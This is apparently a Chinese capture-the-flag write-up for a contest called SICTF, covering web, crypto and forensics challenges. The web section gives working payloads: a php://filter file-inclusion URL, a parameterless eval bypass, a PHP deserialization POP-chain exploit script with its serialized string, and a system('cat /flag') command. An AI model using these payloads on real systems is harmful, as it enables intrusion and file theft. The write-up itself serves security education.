Web Include 挺简单的一个文件包含,没啥过滤的,直接来
题目描述中说flag位于flag.php,直接
1 http://ip:port/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php
base64解密之后得到flag.php的源码
1 2 3 4 5 6 7 8 <?php $file_path = "/flag" ;if (file_exists ($file_path )) { $flag = file_get_contents ($file_path ); } else { echo "error" ; }
发现真正的flag在/flag下
1 http://ip:port/?SICTF=php://filter/read=convert.base64-encode/resource=/flag
base64解码,拿到flag
Baby_PHP 这题考了些php的语言特性
1 http://ip:port/?k%20e%20y=123%0A
这样就能绕过前两条判断
然后就是一个无参数命令执行
1 2 3 4 5 6 7 8 9 if (isset ($_POST ['command' ])){ $command = $_POST ['command' ]; if (!preg_match ("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" ,$command )){ eval ($command ); } else { echo ("You are Hacker!" ); } }
刚开始以为他把()
也给过滤了,然后仔细看的时候他那个括号是中文的,不知道算不算非预期,然后传入
1 command=show_source(next(array_reverse(scandir(getcwd()))));
拿到flag
RCE 比签到题Include还简单
1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_POST ['code' ];$code = str_replace ("(" ,"hacker" ,$code );$code = str_replace ("." ,"hacker" ,$code );eval ($code );?>
只要没(
,和.
就可以了,然后就可以想得到用echo
找到flag
拿到flag
我全都要 pop链
流程是B.__destruct()->A.__toString()->B.game()->P.__call($name, $arguments)->B.__clone()
,但是不知道怎么触发__toString
,就卡住了,看来还得继续了解些东西。
赛后看了些师傅的wp
魔术方法要注意的就是__toString()
会被preg_match
调用,还有__call
的第一个参数是调用它的方法名字,在本题中不能是game.
原来preg_match
是可以触发__tostring
的,那就懂了,开始写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php class B { public $pop ; public $i ; public $nogame ; public function __destruct ( ) // 在反序列化过程中触发 { if (preg_match ("/233333333/" ,$this ->pop)){ echo "这是一道签到题,不能让新生一直做不出来遭受打击" ; } } public function game ( ) { echo "扣1送地狱火" ; if ($this ->i = "1" ){ echo '<img src=\'R.jpg\'>' ; $this ->nogame->love (); } } public function __clone ( ) { echo "必须执行" ; eval ($_POST ["cmd" ]); } } class A { public $Aec ; public $girl ; public $boy ; public function __toString ( ) // -3.触发时机:把对象当成字符串调用???? { echo "I also want to fall in love" ; if ($this ->girl != $this ->boy && md5 ($this ->girl) == md5 ($this ->boy)){ $this ->Aec->game (); } } } class P { public $MyLover ; public function __call ($name , $arguments ) // -2.触发时机:调用一个不存在的方法 { echo "有对象我会在这打CTF???看我克隆一个对象!" ; if ($name != "game" ) { echo "打游戏去,别想着对象了" ; $this ->MyLover = clone new B; } } } $a = new A ();$b = new B ();$p = new P ();$b ->pop = $a ;$b ->nogame = $p ;$a ->boy = 's878926199a' ; $a ->girl = 's155964671a' ;$a ->Aec = $b ;echo (serialize ($b ));
1 2 GET: http://ip:port/?A_B_C=O:1:%22B%22:3:{s:3:%22pop%22;O:1:%22A%22:3:{s:3:%22Aec%22;r:1;s:4:%22girl%22;s:11:%22s155964671a%22;s:3:%22boy%22;s:11:%22s878926199a%22;}s:1:%22i%22;N;s:6:%22nogame%22;O:1:%22P%22:1:{s:7:%22MyLover%22;N;}} POST: cmd=system('cat /flag');
Crypto 古典大杂烩 附件打开来看就是一坨emoji
那就先拿这个http://www.atoolbox.net/Tool.php?Id=937进行解码
然后解完就感觉是base,然后一个个试过去,顺序是base62,base64,base58,base32,base62
拿到flag
Radio 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import gmpy2import timefrom functools import reduce from Crypto.Util.number import long_to_bytesdef CRT (items ): N = reduce(lambda x, y: x * y, (i[1 ] for i in items)) result = 0 for a, n in items: m = N // n d, r, s = gmpy2.gcdext(n, m) if d != 1 : raise Exception("Input not pairwise co-prime" ) result += a * s * m return (result % N), N e = 17 n1 = xxx n2 = xxx n3 = xxx c1 = xxx c2 = xxx c3 = xxx n = [n1,n2,n3] c = [c1,c2,c3] data = list (zip (c, n)) x, n = CRT(data) m = gmpy2.iroot(gmpy2.mpz(x), e)[0 ].digits() print (long_to_bytes(int (m)))
Forensics 美女姐姐O.o 先google搜索
确定位置是在福建省福州市的闽江附近,高德地图开搜,先试了闽江公园不对,然后去附近的各个公园查找摄像照片
福建省福州市仓山区烟台山公园,拿下!
宝塔镇河妖 继续google搜索
好的一模一样,然后打开旁边那个百度的
山东省济宁市汶上县太子灵踪塔,拿下